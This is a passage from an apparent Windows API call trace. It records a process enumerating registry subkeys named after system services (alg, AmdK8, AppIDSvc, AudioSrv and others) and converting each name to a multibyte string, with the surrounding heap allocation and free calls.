lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0228.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0228.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0228.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.807] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0228.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0228.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0228.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0228.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0228.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0228.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0228.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0228.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0228.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0228.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0228.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0228.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0228.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0228.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0228.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0228.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0228.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0228.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0228.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0228.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0228.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0228.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0228.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0228.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0228.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0228.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0228.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0228.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0228.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0228.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1bf8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0228.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0228.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0228.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0228.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0228.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.812] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0228.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0228.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1cd0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0228.812] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0228.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0228.813] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.813] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, 